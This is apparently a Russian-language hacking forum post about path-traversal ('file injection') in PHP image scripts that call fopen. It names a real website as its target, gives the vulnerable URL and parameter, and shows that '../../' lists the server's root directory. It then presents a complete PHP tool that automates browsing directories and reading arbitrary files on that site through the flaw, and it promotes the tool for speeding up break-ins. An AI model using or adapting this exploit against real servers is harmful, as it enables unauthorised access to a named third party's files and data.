Файловая инъекция представляет собой возможность для взломщика просматривать файлы на удалённом сервере. Проверяя параметры, предаваемые include и mysql_query, программисты очень часто забывают о функции fopen. Чаще всего это встречается в выводе изображений. Не люблю много теории, перейдём сразу к практике. Возьмём подопытный сайт, http://www.autoall.ru/. Инъекция на лицо, в свойствах изображений товаров написан путь к картинке: http://www.autoall.ru/group/picture.php?pic=112067.JPG. Подставив в параметр "pic" текст "../../" мы увидим в жутко корявом виде содержимое корневого каталога. Подобную картину большенство веб-хакеров наблюдало, когда в r57shell'е вместо имени файла ставили адрес к директории. Такой эффект можно лицезреть только на *nix машинах. Вот именно для этих вот глючных символов я и буду писать парсер, чтобы автоматизировать процес лазания по взламываемому хосту. Для начала определимся с языком. Я обажаю пхп, за скорость написания на нём приложений, нет траблов с операционкой, с типами данных, и т.д. Для начала сохраним страницу из браузера, и пихнём в hex-редактор. Можно было конечно поискать в инете правила этих записей, но это было бы не интересно. Первая закономерность, которую я заметил, это то, что имя каждого файла или папки заканчивается на символ с кодом 00. Вторая, это то, что перед именами папок, за символ до, стоит 04, а у файлов 08. Таким образом, пользуясь только этими данными я написал вот это парсер. Он глюкавый, требует переработок, но во всяком случае рабочий. PHP: <?php $fol="../../"; if($fnewname<>""){$fol=$fnewname."/";} if($fileopen<>""){$fol.=$fileopen;} $host="www.autoall.ru"; $content=""; $fp =fsockopen($host, 80, $errno, $errstr, 30); if(!$fp){echo "$errstr ($errno)<br>\n";}else{ fputs ($fp, "GET /group/picture.php?pic=".$fol." HTTP/1.0\r\nHost: ".$host."\r\n\r\n"); while (!feof($fp)) {$content.=fgets($fp,128);} fclose ($fp);} $content=strstr($content,"\r\n\r\n"); if($fileopen<>""){ print "<pre>".htmlspecialchars($content)."</pre>"; } else { for($i=0;$i<strlen($content);$i++) { if(ord($content[$i])==4) { $tempname=""; for($j=2;ord($content[$i+$j])<>0;$j++){$tempname.=$content[$i+$j];} $folder[]=$tempname; $i=$i+strlen($tempname); } if(ord($content[$i])==8) { $tempname=""; for($j=2;ord($content[$i+$j])<>0;$j++){$tempname.=$content[$i+$j];} $files[]=$tempname; $i=$i+strlen($tempname); } } print "<table>"; for($i=0;$i<count($folder);$i++) { print "<tr>"; print "<td><a href=1.php?fnewname=".$fol.$folder[$i]."><img border=0 src=fol.jpg></a></td> <td><a href=1.php?fnewname=".$fol.$folder[$i]."><font>".$folder[$i]."</font></a></td>"; print "</tr>"; } for($i=0;$i<count($files);$i++) { print "<tr>"; print "<td><a href=1.php?fileopen=".$files[$i]."&fnewname=".$fol."><img border=0 src=file.jpg></a></td> <td><a href=1.php?fileopen=".$files[$i]."&fnewname=".$fol."><font>".$files[$i]."</font></a></td>"; print "</tr>"; } print "</table>"; } ?> Автоматизация ускоряет взлом в несколько раз. Для sql-инъекций я наблюдал кучу софта, а для файловых не нашёл ни одной проги. Поэтому и создал эту тему.